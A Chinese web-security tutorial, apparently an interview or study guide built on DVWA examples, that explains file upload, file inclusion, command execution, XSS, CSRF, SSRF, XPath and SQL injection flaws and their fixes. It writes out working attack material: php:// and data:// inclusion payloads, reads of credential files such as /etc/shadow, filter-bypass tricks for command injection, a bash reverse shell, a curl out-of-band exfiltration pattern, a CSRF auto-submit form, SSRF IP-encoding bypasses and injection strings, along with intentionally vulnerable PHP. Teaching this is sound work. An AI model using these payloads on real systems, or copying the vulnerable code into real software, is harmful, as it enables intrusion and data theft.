文件上传漏洞修复手段(☆☆☆)1、想要最大化避免出现文件上传漏洞,不仅要对文件的各种属性,如MIME类型,文件内容,后缀等做出检测;2、同时也要对WebServer的版本进行及时更新,防止nday漏洞的攻击;3、同时上传后的文件名应该随机生成,避免攻击者通过猜测文件名来执行恶意代码。4、上传的文件应该存储在非Web根目录下,避免通过URL直接访问上传的文件,这可以防止攻击者直接访问上传的文件并执行其中的恶意代码,并且Client端上传的文件大小应该受到限制,以防止攻击者上传大型文件来占用服务器资源或破坏系统。# 处理示例 <?php if( isset( $_POST[ 'Upload' ] ) ) { // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>2.文件包含漏洞2.1 什么是文件包含漏洞什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。以PHP为例,常用的文件包含函数有以下四种include(),require(),include_once(),require_once()区别如下:require():找不到被包含的文件会产生致命错误,并停止脚本运行include():找不到被包含的文件只会产生警告,脚本继续执行require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含2.2 文件包含漏洞实例访问的php入口index.php<?php include $_GET['page']; ?>再创建一个phpinfo.php<?php phpinfo(); ?>利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析http://127.0.0.1/tmp/index.php?page=phpinfo.php将phpinfo.php文件后缀改为txt或者jpg后进行访问,依然可以解析:利用该特性,当文件上传漏洞无法突破的时候,如果可以注入jpg图片马可以结合该漏洞实现恶意代码的注入,如一句话木马提取webshell权限再将phpinfo.jpg的内容改成一段文字:hello world!,再次进行访问,可以读出文本内容利用该特性,可以实现读取一些系统本地的敏感信息(读配置:读源码)。2.3 本地文件包含漏洞(LFI)能够打开并包含本地文件的漏洞,称为本地文件包含漏洞(LFI)如2.2的例子所示,利本地文件上传漏洞,可以实现图片木马的注入或者读取本地敏感信息。一些常见的敏感目录信息路径:Windows系统: C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件 C:\windows\repair\sam //存储Windows系统初次安装的密码 C:\ProgramFiles\mysql\my.ini //Mysql配置 C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码 C:\windows\php.ini //php配置信息 Linux/Unix系统: /etc/password //账户信息 /etc/shadow //账户密码信息 /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置 /usr/local/app/php5/lib/php.ini //PHP相关配置 /etc/httpd/conf/httpd.conf //Apache配置文件 /etc/my.conf //mysql配置文件 session常见存储路径: /var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。2.4 远程文件包含(RFI)如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI),作用原理和效果和2.2类似。# php.ini allow_url_fopen = on allow_url_include = on2.5 PHP伪协议在文件包含漏洞中的使用PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数名称描述file://访问本地文件系统http://访问 HTTP(s)网址ftp://访问 FTP(s)URLsphp://访问各个输入/输出流(I/O streams)zlib://压缩流data://数据(RFC 2397)glob://查找匹配的文件路径模式2.5.1 file://协议file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响2.5.2 php://协议php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://inputphp://filter用于读取源码。php://input用于执行php代码。php://filterphp://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。http://127.0.0.1/tmp/index.php?page=php://filter/resource=phpinfo.phphttp://127.0.0.1/tmp/index.php?page=php://filter/convert.base64-encode/resource=phpinfo.php通过该方式可以进一步分析其它源码中的更多漏洞。php://inputphp://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:2.5.3 data://协议data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:http://127.0.0.1/tmp/index.php?page=data://text/plain,<?php%20phpinfo();?>如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:http://127.0.0.1/tmp/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=2.6 文件包含漏洞修复对于配置文件php.ini的处理allow_url_fopen、allow_url_include两个选项,其中allow_url_fopen默认是开启的,allow_url_include默认是关闭的,如非必要情况下应保持allow_url_include处于关闭状态,否则会造成RFI漏洞的存在。如果我们只开启这个配置文件,就可以使用伪协议读取我们的敏感信息和其它操作,但是我们可以通过过滤一些字符或者限制用户的输入从而达到攻击不能读取我们信息的操作。黑名单过滤我们可以通过在后端对接收到的参数进行过滤处理,对于可能危害我们系统的参数拒绝接收。常用的过滤黑名单:目录穿越符:../,/,../../../../../等,防止路径被解析至其他目录下,并读取敏感内容,如要在当前网站目录下读取根目录下内容,则可以../../../../../../../../../../../../../../etc/passwd,保证目录穿越符够多即可到根目录下。各协议关键词:php,file,data,input,http,zip,compress,://等敏感内容文件名:如etc下的各配置文件,/proc下的进程文件及其他敏感文件白名单过滤在很多情况下存在黑名单被绕过的情况,因此黑名单并不是一个很好的防护选择,我们来介绍另一种防护方式——白名单。黑名单是通过过滤敏感关键词,来防止漏洞的利用,但往往一些编码和服务器的解析等其他问题就会导致黑名单的绕过,因此我们可以让用户只能访问我们规定的文件。比如如果我们只想让用户访问img下的png格式图片(在实际场景中大概类似于点一个连接显示一张图片),我们可以将只能访问的路径写死为./img/(.*).png设置open_basedirphp.ini的配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置文件目录的话,我们的代码只会在该目录中搜索文件,这样我们就可以把我们需要包含的文件放到这个目录就可以了,从而也避免了敏感文件的泄露。3.远程命令执行漏洞3.1 什么是远程命令执行漏洞RCE(remote command/code execute,远程命令执行)漏洞,一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器PHP相关的系统命令执行函数:system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()windows系统命令拼接方式:“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more “&” commandA & commandB 先运行命令A,然后运行命令B “||” commandA || commandB 运行命令A,如果失败则运行命令B “&&” commandA && commandB 运行命令A,如果成功则运行命令B3.2 远程命令执行漏洞实例前端界面后端代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>漏洞利用3.3 命令执行的一些绕过技巧(针对后端仅简单采用关键字过滤或正则过滤)3.3.1 空格绕过< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag} # $IFS默认是空字符(空格Space、Tab、换行\n) alpine:/software/tmp# echo $IFS实际使用测试alpine:/software/tmp# cat<secret.txt Sensitive Data alpine:/software/tmp# cat<>secret.txt Sensitive Data alpine:/software/tmp# cat$IFS$9secret.txt Sensitive Data alpine:/software/tmp# cat$IFS$1secret.txt Sensitive Data alpine:/software/tmp# cat${IFS}secret.txt Sensitive Data alpine:/software/tmp# {cat,secret.txt} Sensitive Data 3.3.2 关键字绕过Base64编码绕过echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码 echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码 echo "bHM="|base64 -d|sh 将执行lsHex编码绕过echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flagOct编码绕过$(printf "\154\163") 执行ls偶读拼接绕过?ip=127.0.0.1;a=l;b=s;$a$b ?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;内联执行绕过alpine:/software/tmp# echo "a `pwd`" a /software/tmp ?ip=127.0.0.1;cat$IFS$9`ls` alpine:/software/tmp# cat$IFS$9`ls` Sensitive Data引号绕过ca""t => cat mo""re => more in""dex => index ph""p => php通配符绕过假设flag在/flag中: /?url=127.0.0.1|ca""t%09/fla? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flag.txt中: /?url=127.0.0.1|ca""t%09/fla???? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flags/flag.txt中: /?url=127.0.0.1|ca""t%09/fla??/fla???? /?url=127.0.0.1|ca""t%09/fla*/fla*反斜杠绕过ca\t => cat mo\re => more in\dex => index ph\p => php n\l => nl[]匹配绕过c[a]t => cat mo[r]e => more in[d]ex => index p[h]p => php3.4 最大的危害:nc反弹shell(☆☆☆)攻击机nc -lvnp 2333受害机bash -i >& /dev/tcp/192.168.146.129/2333 0>&1实例3.5 Out Of Band(带外攻击)当我们在log中或流量检测中发现如下payload: curl http://xxxxx/`cat xxx`那么这时候就要当心是否是应用程序中出现了RCE漏洞,大部分的命令执行函数是没有回显的,并且就算有回显也是输出在服务端,那么hacker就可以通过curl这种方式,将命令执行的结果从Server端带出,到目标位置查看命令的回显,这种攻击手法也叫做Out Of Band(带外攻击)。3.6 远程命令执行漏洞防御1.尽量不要使用命令执行函数。2.不要让用户控制参数。3.执行前做好检测和过滤。3.2中案例的防御实例<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } ?>4.跨站脚本攻击XSS漏洞4.1 XSS漏洞4.1.1 反射型XSS简介非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。攻击流程实例前端界面(常见于搜索界面或者类似如下界面)submit后:http://127.0.0.1/vulnerabilities/xss_r/?name=jupiter&user_token=02451b0d17be8c441a68c9f943738af6#构建恶意链接实施XSS攻击http://127.0.0.1/vulnerabilities/xss_r/?name=jupiter;<script>console.log("xss attack success");</script>&user_token=02451b0d17be8c441a68c9f943738af6#可以进行类似的cookie盗取操作4.1.2 存储型XSS实例存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie攻击流程实例前端界面(常见于留言、发布文章、帖子等)实施存储型xss攻击(存入数据库后所有访问该页面的客户端都会受到xss攻击)4.1.3 XSS的防御XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了4.2 CSRF漏洞4.2.1 CSRF漏洞简介CSRF(Cross-Site Request Forgery),也被称为 one-click attack 或者 session riding,即跨站请求伪造攻击。那么 CSRF 到底能够干嘛呢?CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。可以简单的理解为:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。攻击者只要借助少许的社会工程学的诡计,例如通过 QQ 等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使 Web 应用的用户去执行攻击者预设的操作。GET型:如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了POST型:在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常,但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如:/coures/user/handler/25332/buy.php 。通过提交表单,buy.php处理购买的信息,这里的25532为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容<form action=/coures/user/handler/25332/buy method=POST> <input type="text" name="xx" value="xx" /> </form> <script> document.forms[0].submit(); </script> 当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为25332的视频,从而导致受害者余额扣除4.2.2 CSRF攻击流程(原理)1、用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;2、在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;3、用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;4、网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;5、浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。4.2.3 CSRF防御措施Referer验证HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,在通常情况下,Referer字段应和请求的地址位于同一域名下,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。Token验证CSRF 攻击能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。尽量使用POST传值方式,限制GET传值使用。敏感操作增加验证码验证(短信验证码,邮箱验证码)使数据不仅仅通过一个链路进行传输,增加可靠性,如果验证码校验不通过,直接返回。4.3 SSRF漏洞4.3.1 简介SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。4.3.2 SSRF漏洞原理SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。主要攻击方式(漏洞利用方式)如下:对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。攻击运行在内网或本地的应用程序。对内网Web应用进行指纹识别,识别企业内部的资产信息。攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。利用file协议读取本地文件等。SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents()、 fsockopen()、curl_exec()、sockopen()等。4.3.3 SSRF利用的协议(1)file:在有回显的情况下,利用 file 协议可以读取任意内容(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell(4)http/s:探测内网主机存活4.3.4 SSRF漏洞修复1、对于SSRF漏洞的修复,可以采取白名单,限制内网Ip,并且对请求的返回内容进行识别,防止敏感信息的泄漏。2、禁用一些不必要的协议,防止伪协议的攻击。3、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。4、校验请求的目标ip,对于内网的目标ip拒绝访问。关于对于内网的目标ip拒绝访问的注意事项--URL跳转漏洞1.首先来看127.0.0.1,对于本地回环ip我们可以用localhost、0.0.0.0进行代替,并且本地回环其实并不只是127.0.0.1,整个127段都为本地回环,所以我们可以用127.0.0.0/8来代替。2.一般采用黑名单进行ip的过滤,过滤的都是内网的网段,开发者会选择使用“正则”的方式判断目标IP是否在这几个段中(代码示例如下),这种判断方法通常是会遗漏或误判的。Set<String> ipFilter = new HashSet<>(); //A类地址范围:10.0.0.0—10.255.255.255 ipFilter.add("^10\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$"); //B类地址范围: 172.16.0.0---172.31.255.255 ipFilter.add("^172\\.(1[6789]|2[0-9]|3[01])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$"); //C类地址范围: 192.168.0.0---192.168.255.255 ipFilter.add("^192\\.168\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$"); ipFilter.add("127.0.0.1"); ipFilter.add("0.0.0.0"); List<Pattern> ipFilterRegexList = new ArrayList<>(); for (String tmp : ipFilter) { ipFilterRegexList.add(Pattern.compile(tmp)); }这里存在多个绕过的问题: 1、利用八进制IP地址绕过 2、利用十六进制IP地址绕过 3、利用十进制的IP地址绕过 4、利用IP地址的省略写法绕过四种写法:012.0.0.1 、 0xa.0.0.1 、 167772161 、 10.1 、 0xA000001 实际上都请求的是10.0.0.1,但他们一个都匹配不上上述正则表达式。对于比较完善的防护方法,给出如下建议: 正确的获取host,比如http://233.233.233.233@10.0.0.1:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,尤其是用正则去解析URL。还有一个问题,获取到Host后只要检查一下我们获取到的Host是否是内网IP,即可防御SSRF漏洞么? 答案是否定的,原因是,Host可能是IP形式,也可能是域名形式。如果Host是域名形式,我们是没法直接比对的。网上有个服务 http://xip.io ,这是一个“神奇”的域名,它会自动将包含某个IP地址的子域名解析到该IP。比如 127.0.0.1.xip.io ,将会自动解析到127.0.0.1,www.10.0.0.1.xip.io将会解析到10.0.0.1,所以,在检查Host的时候,我们需要将Host解析为具体IP,再进行ip是否为内网ip的判断。5.WEB注入漏洞5.1 XPath漏洞5.1.1 XML和XPath什么是XML?可扩展标记语言 (XML) 允许您以可共享的方式定义和存储数据。XML 支持计算机系统(如网站、数据库和第三方应用程序)之间的信息交换。预定义的规则简化了在任何网络上以 XML 文件的形式传输数据的过程,接收者可以使用这些规则准确高效地读取数据,XML 本身无法执行计算操作。相反,任何编程语言或软件都可以用于结构化数据管理。以上是官方给出的解释,但其实简短来说XML就是一个树结构的存储信息的文档,它不能进行运算以及执行等操作,只能存储信息。什么是XPATH?XPATH就是用来在XML这个树结构中寻找元素的语法,提供了很多遍历以及定位XML结构中元素的方法。5.1.2 XPATH及Xquery语法“nodename” – 选取nodename的所有子节点 “/nodename” – 从根节点中选择 “//nodename” – 从当前节点选择 “..” – 选择当前节点的父节点 “child::node()” – 选择当前节点的所有子节点 "@" -选择属性 "//user[position()=2] " 选择节点位置5.1.3 漏洞示例代码示例<?php if(file_exists("data.xml")){ $xml = simplexml_load_file("data.xml"); } $user = $_GET['user'] $query = "user/username[@name='".$user."']"; $ans = $xml->xpath($query); foreach($ans as $x=>$x_value){ echo $x.":".$x_value."</br>"; } ?>代码分析按照正常的逻辑,此处应传入一个username,从而查询到<user><username name="user"></username></user>结点的内容,如果我们将这个查询语句闭合并插入新的Xquery语句,就可以达到一些恶意的请求。此时user构造为:user1' or 1=1 or ''='此时的查询语句为$query="user/username[@name='user1' or 1=1 or ''='']";1=1为真 ''='' 为真,使用or连接,则可以匹配当前节点下的所有user我们也可以使用类似Sql注入中万能密码的形式进行注入,这样就可以拿到XML中所有结点的值了 user = ']|//*|//*['5.1.4 XPath注入漏洞修复①使用参数化的XPath查询(例如使用XQuery)。这有助于确保数据平面和控制平面之间的分离;②对用户输入的数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串,如过滤[ ] ‘ “ and or 等全部过滤,像单双引号这类,可以对这类特殊字符进行编码转换或替换;③通过加密算法,对于数据敏感信息和在数据传输过程中加密。5.2 SQL注入漏洞5.2.1 SQL注入漏洞原理SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。一句话概括:注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。SQL注入漏洞对于数据安全的影响:数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。网页篡改:通过操作数据库对特定网页进行篡改。网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。破坏硬盘数据,瘫痪全系统。5.2.2 SQL注入漏洞示例前端界面后端代码<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>简单确定是否存在sql注入漏洞并攻击确定查询结果数据表的字段数-1' or 1=1 GROUP BY 2; #SELECT first_name, last_name FROM users WHERE user_id = '999' or 1=1 GROUP BY 2; # 正常-1' or 1=1 